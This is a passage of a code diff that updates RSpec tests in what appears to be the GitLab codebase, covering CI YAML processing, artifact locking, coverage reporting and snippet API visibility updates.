-1643,7 +1631,7 @@ module Gitlab } end - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } let(:builds) { subject.stage_builds_attributes('deploy') } @@ -1753,7 +1741,7 @@ module Gitlab } end - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } let(:builds) { subject.stage_builds_attributes('deploy') } @@ -1795,24 +1783,24 @@ module Gitlab } end - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } context 'no dependencies' do let(:dependencies) { } - it { expect { subject }.not_to raise_error } + it { is_expected.to be_valid } end context 'dependencies to builds' do let(:dependencies) { %w(build1 build2) } - it { expect { subject }.not_to raise_error } + it { is_expected.to be_valid } end context 'dependencies to builds defined as symbols' do let(:dependencies) { [:build1, :build2] } - it { expect { subject }.not_to raise_error } + it { is_expected.to be_valid } end context 'undefined dependency' do @@ -1868,10 +1856,10 @@ module Gitlab } end - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } context 'no needs' do - it { expect { subject }.not_to raise_error } + it { is_expected.to be_valid } end context 'needs two builds' do @@ -2063,7 +2051,7 @@ module Gitlab end context 'with when/rules conflict' do - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } let(:config) do { @@ -2079,9 +2067,7 @@ module Gitlab } end - it 'raises no exceptions' do - expect { subject }.not_to raise_error - end + it { is_expected.to be_valid } it 'returns all jobs regardless of their inclusion' do expect(subject.builds.count).to eq(config.keys.count) @@ -2120,7 +2106,7 @@ module Gitlab end describe "Hidden jobs" do - let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) } + let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute } subject { config_processor.stage_builds_attributes("test") } @@ -2167,7 +2153,7 @@ module Gitlab end describe "YAML Alias/Anchor" do - let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) } + let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute } subject { config_processor.stage_builds_attributes("build") } @@ -2264,7 +2250,7 @@ module Gitlab }) end - it { expect { subject }.not_to raise_error } + it { is_expected.to be_valid } end context 'when job is not specified specified while artifact is' do @@ -2277,11 +2263,7 @@ module Gitlab }) end - it do - expect { subject }.to raise_error( - described_class::ValidationError, - /include config must specify the job where to fetch the artifact from/) - end + it_behaves_like 'returns errors', /include config must specify the job where to fetch the artifact from/ end context 'when include is a string' do @@ -2297,12 +2279,12 @@ module Gitlab }) end - it { expect { subject }.not_to raise_error } + it { is_expected.to be_valid } end end describe "Error handling" do - subject { described_class.new(config) } + subject { described_class.new(config).execute } context 'when YAML syntax is invalid' do let(:config) { 'invalid: yaml: test' } @@ -2651,8 +2633,8 @@ module Gitlab end end - describe '.new_with_validation_errors' do - subject { Gitlab::Ci::YamlProcessor.new_with_validation_errors(content) } + describe '#execute' do + subject { Gitlab::Ci::YamlProcessor.new(content).execute } context 'when the YAML could not be parsed' do let(:content) { YAML.dump('invalid: yaml: test') } @@ -2660,7 +2642,6 @@ module Gitlab it 'returns errors and empty configuration' do expect(subject.valid?).to eq(false) expect(subject.errors).to eq(['Invalid configuration format']) - expect(subject.config).to be_blank end end @@ -2670,7 +2651,6 @@ module Gitlab it 'returns errors and empty configuration' do expect(subject.valid?).to eq(false) expect(subject.errors).to eq(['jobs:rspec:tags config should be an array of strings']) - expect(subject.config).to be_blank end end @@ -2682,7 +2662,6 @@ module Gitlab expect(subject.errors).to contain_exactly( 'jobs:rspec config contains unknown keys: bad_tags', 'jobs:rspec rules should be an array of hashes') - expect(subject.config).to be_blank end end @@ -2692,7 +2671,6 @@ module Gitlab it 'returns errors and empty configuration' do expect(subject.valid?).to eq(false) expect(subject.errors).to eq(['Please provide content of .gitlab-ci.yml']) - expect(subject.config).to be_blank end end @@ -2702,7 +2680,6 @@ module Gitlab it 'returns errors and empty configuration' do expect(subject.valid?).to eq(false) expect(subject.errors).to eq(['Unknown alias: bad_alias']) - expect(subject.config).to be_blank end end @@ -2712,7 +2689,7 @@ module Gitlab it 'returns errors and empty configuration' do expect(subject.valid?).to eq(true) expect(subject.errors).to be_empty - expect(subject.config).to be_present + expect(subject.builds).to be_present end end end diff --git a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb index 5b6be0b3198..93b6f93f0ec 100644 --- a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb +++ b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb @@ -133,12 +133,6 @@ RSpec.describe Gitlab::ImportExport::FastHashSerializer do expect(builds_count).to eq(1) end - it 'has no when YML attributes but only the DB column' do - expect_any_instance_of(Gitlab::Ci::YamlProcessor).not_to receive(:build_attributes) - - subject - end - it 'has pipeline commits' do expect(subject['ci_pipelines']).not_to be_empty end diff --git a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb index a2c5848f100..ece261e0882 100644 --- a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb +++ b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb @@ -381,12 +381,6 @@ RSpec.describe Gitlab::ImportExport::Project::TreeSaver do expect(project_tree_saver.save).to be true end - - it 'has no when YML attributes but only the DB column' do - expect_any_instance_of(Gitlab::Ci::YamlProcessor).not_to receive(:build_attributes) - - project_tree_saver.save - end end end diff --git a/spec/models/analytics/instance_statistics/measurement_spec.rb b/spec/models/analytics/instance_statistics/measurement_spec.rb new file mode 100644 index 00000000000..64a5229b854 --- /dev/null +++ b/spec/models/analytics/instance_statistics/measurement_spec.rb @@ -0,0 +1,14 @@ +# frozen_string_literal: true + +require 'spec_helper' + +RSpec.describe Analytics::InstanceStatistics::Measurement, type: :model do + describe 'validation' do + let!(:measurement) { create(:instance_statistics_measurement) } + + it { is_expected.to validate_presence_of(:recorded_at) } + it { is_expected.to validate_presence_of(:identifier) } + it { is_expected.to validate_presence_of(:count) } + it { is_expected.to validate_uniqueness_of(:recorded_at).scoped_to(:identifier) } + end +end diff --git a/spec/models/ci/bridge_spec.rb b/spec/models/ci/bridge_spec.rb index 3a459e5897a..850fc1ec6e6 100644 --- a/spec/models/ci/bridge_spec.rb +++ b/spec/models/ci/bridge_spec.rb @@ -50,6 +50,7 @@ RSpec.describe Ci::Bridge do CI_PROJECT_PATH_SLUG CI_PROJECT_NAMESPACE CI_PROJECT_ROOT_NAMESPACE CI_PIPELINE_IID CI_CONFIG_PATH CI_PIPELINE_SOURCE CI_COMMIT_MESSAGE CI_COMMIT_TITLE CI_COMMIT_DESCRIPTION CI_COMMIT_REF_PROTECTED + CI_COMMIT_TIMESTAMP ] expect(bridge.scoped_variables_hash.keys).to include(*variables) diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb index c4934da73fc..de871efdaf7 100644 --- a/spec/models/ci/build_spec.rb +++ b/spec/models/ci/build_spec.rb @@ -612,6 +612,46 @@ RSpec.describe Ci::Build do end end + describe '#locked_artifacts?' do + subject(:locked_artifacts) { build.locked_artifacts? } + + context 'when pipeline is artifacts_locked' do + before do + build.pipeline.artifacts_locked! + end + + context 'artifacts archive does not exist' do + let(:build) { create(:ci_build) } + + it { is_expected.to be_falsy } + end + + context 'artifacts archive exists' do + let(:build) { create(:ci_build, :artifacts) } + + it { is_expected.to be_truthy } + end + end + + context 'when pipeline is unlocked' do + before do + build.pipeline.unlocked! + end + + context 'artifacts archive does not exist' do + let(:build) { create(:ci_build) } + + it { is_expected.to be_falsy } + end + + context 'artifacts archive exists' do + let(:build) { create(:ci_build, :artifacts) } + + it { is_expected.to be_falsy } + end + end + end + describe '#available_artifacts?' do let(:build) { create(:ci_build) } @@ -2329,6 +2369,7 @@ RSpec.describe Ci::Build do { key: 'CI_COMMIT_TITLE', value: pipeline.git_commit_title, public: true, masked: false }, { key: 'CI_COMMIT_DESCRIPTION', value: pipeline.git_commit_description, public: true, masked: false }, { key: 'CI_COMMIT_REF_PROTECTED', value: (!!pipeline.protected_ref?).to_s, public: true, masked: false }, + { key: 'CI_COMMIT_TIMESTAMP', value: pipeline.git_commit_timestamp, public: true, masked: false }, { key: 'CI_BUILD_REF', value: build.sha, public: true, masked: false }, { key: 'CI_BUILD_BEFORE_SHA', value: build.before_sha, public: true, masked: false }, { key: 'CI_BUILD_REF_NAME', value: build.ref, public: true, masked: false }, diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb index c5ec218ee65..ee2a2d80616 100644 --- a/spec/models/ci/pipeline_spec.rb +++ b/spec/models/ci/pipeline_spec.rb @@ -715,6 +715,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do CI_COMMIT_TITLE CI_COMMIT_DESCRIPTION CI_COMMIT_REF_PROTECTED + CI_COMMIT_TIMESTAMP CI_BUILD_REF CI_BUILD_BEFORE_SHA CI_BUILD_REF_NAME @@ -3440,4 +3441,17 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do it { is_expected.to eq(Gitlab::Git::TAG_REF_PREFIX + pipeline.source_ref.to_s) } end end + + describe "#builds_with_coverage" do + it 'returns builds with coverage only' do + rspec = create(:ci_build, name: 'rspec', coverage: 97.1, pipeline: pipeline) + jest = create(:ci_build, name: 'jest', coverage: 94.1, pipeline: pipeline) + karma = create(:ci_build, name: 'karma', coverage: nil, pipeline: pipeline) + + builds = pipeline.builds_with_coverage + + expect(builds).to include(rspec, jest) + expect(builds).not_to include(karma) + end + end end diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb index 80612264a38..052afc28ef7 100644 --- a/spec/models/merge_request_spec.rb +++ b/spec/models/merge_request_spec.rb @@ -4112,4 +4112,14 @@ RSpec.describe MergeRequest, factory_default: :keep do expect(context[:label_url_method]).to eq(:project_merge_requests_url) end end + + describe '#head_pipeline_builds_with_coverage' do + it 'delegates to head_pipeline' do + expect(subject) + .to delegate_method(:builds_with_coverage) + .to(:head_pipeline) + .with_prefix + .with_arguments(allow_nil: true) + end + end end diff --git a/spec/requests/api/project_snippets_spec.rb b/spec/requests/api/project_snippets_spec.rb index 9b876edae24..66dcb40d2ec 100644 --- a/spec/requests/api/project_snippets_spec.rb +++ b/spec/requests/api/project_snippets_spec.rb @@ -329,6 +329,13 @@ RSpec.describe API::ProjectSnippets do expect(snippet.description).to eq(new_description) end + it 'updates snippet with visibility parameter' do + expect { update_snippet(params: { visibility: 'private' }) } + .to change { snippet.reload.visibility } + + expect(snippet.visibility).to eq('private') + end + it 'returns 404 for invalid snippet id' do update_snippet(snippet_id: non_existing_record_id, params: { title: 'foo' }) @@ -340,6 +347,7 @@ RSpec.describe API::ProjectSnippets do update_snippet expect(response).to have_gitlab_http_status(:bad_request) + expect(json_response['error']).to eq 'title, file_name, content, visibility are missing, at least one parameter must be provided' end it 'returns 400 if content is blank' do diff --git a/spec/serializers/build_details_entity_spec.rb b/spec/serializers/build_details_entity_spec.rb index 3166c08ff4e..5d29452e91c 100644 --- a/spec/serializers/build_details_entity_spec.rb +++ b/spec/serializers/build_details_entity_spec.rb @@ -188,25 +188,31 @@ RSpec.describe BuildDetailsEntity do context 'when the build has expired artifacts' do let!(:build) { create(:ci_build, :artifacts, artifacts_expire_at: 7.days.ago) } - it 'does not expose any artifact actions path' do - expect(subject[:artifact].keys).not_to include(:download_path, :browse_path, :keep_path) - end + context 'when pipeline is unlocked' do + before do + build.pipeline.unlocked! + end + + it 'artifact locked is false' do + expect(subject.dig(:artifact, :locked)).to eq(false) + end - it 'artifact locked is false' do - expect(subject.dig(:artifact, :locked)).to eq(false) + it 'does not expose any artifact actions path' do + expect(subject[:artifact].keys).not_to include(:download_path, :browse_path, :keep_path) + end end context 'when the pipeline is artifacts_locked' do before do - build.pipeline.update!(locked: :artifacts_locked) + build.pipeline.artifacts_locked! end it 'artifact locked is true' do expect(subject.dig(:artifact, :locked)).to eq(true) end - it 'exposes download and browse artifact actions path' do - expect(subject[:artifact].keys).to include(:download_path, :browse_path) + it 'exposes download, browse and keep artifact actions path' do + expect(subject[:artifact].keys).to include(:download_path, :browse_path, :keep_path) end end end diff --git a/spec/serializers/merge_request_poll_widget_entity_spec.rb b/spec/serializers/merge_request_poll_widget_entity_spec.rb index e5f88e31025..7000d4bdb9f 100644 --- a/spec/serializers/merge_request_poll_widget_entity_spec.rb +++ b/spec/serializers/merge_request_poll_widget_entity_spec.rb @@ -285,4 +285,20 @@ RSpec.describe MergeRequestPollWidgetEntity do end end end + + describe '#builds_with_coverage' do + it 'serializes the builds with coverage' do + allow(resource).to receive(:head_pipeline_builds_with_coverage).and_return([ + double(name: 'rspec', coverage: 91.5), + double(name: 'jest', coverage: 94.1) + ]) + + result = subject[:builds_with_coverage] + + expect(result).to eq([ + { name: 'rspec', coverage: 91.5 }, + { name: 'jest', coverage: 94.1 } + ]) + end + end end diff --git a/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb b/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb index 134fe2dd111..bfbbf03370d 100644 --- a/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb +++ b/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb @@ -11,6 +11,10 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared let(:service) { described_class.new } let!(:artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) } + before do + artifact.job.pipeline.unlocked! + end + context 'when artifact is expired' do context 'when artifact is not locked' do before do @@ -88,6 +92,8 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared before do stub_const('Ci::DestroyExpiredJobArtifactsService::LOOP_LIMIT', 1) stub_const('Ci::DestroyExpiredJobArtifactsService::BATCH_SIZE', 1) + + second_artifact.job.pipeline.unlocked! end let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) } @@ -102,7 +108,9 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared end context 'when there are no artifacts' do - let!(:artifact) { } + before do + artifact.destroy! + end it 'does not raise error' do expect { subject }.not_to raise_error @@ -112,6 +120,8 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared context 'when there are artifacts more than batch sizes' do before do stub_const('Ci::DestroyExpiredJobArtifactsService::BATCH_SIZE', 1) + + second_artifact.job.pipeline.unlocked! end let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) } @@ -126,6 +136,10 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared let!(:pipeline_artifact_1) { create(:ci_pipeline_artifact, expire_at: 1.week.ago) } let!(:pipeline_artifact_2) { create(:ci_pipeline_artifact, expire_at: 1.week.ago) } + before do + [pipeline_artifact_1, pipeline_artifact_2].each { |pipeline_artifact| pipeline_artifact.pipeline.unlocked! } + end + it 'destroys pipeline artifacts' do expect { subject }.to change { Ci::PipelineArtifact.count }.by(-2) end @@ -135,10 +149,26 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared let!(:pipeline_artifact_1) { create(:ci_pipeline_artifact, expire_at: 2.days) } let!(:pipeline_artifact_2) { create(:ci_pipeline_artifact, expire_at: 2.days) } - it 'do not destroy pipeline artifacts' do + before do + [pipeline_artifact_1, pipeline_artifact_2].each { |pipeline_artifact| pipeline_artifact.pipeline.unlocked! } + end + + it 'does not destroy pipeline artifacts' do expect { subject }.not_to change { Ci::PipelineArtifact.count } end end end + + context 'when some artifacts are locked' do + before do + pipeline = create(:ci_pipeline, locked: :artifacts_locked) + job = create(:ci_build, pipeline: pipeline) + create(:ci_job_artifact, expire_at: 1.day.ago, job: job) + end + + it 'destroys only unlocked artifacts' do + expect { subject }.to change { Ci::JobArtifact.count }.by(-1) + end + end end end |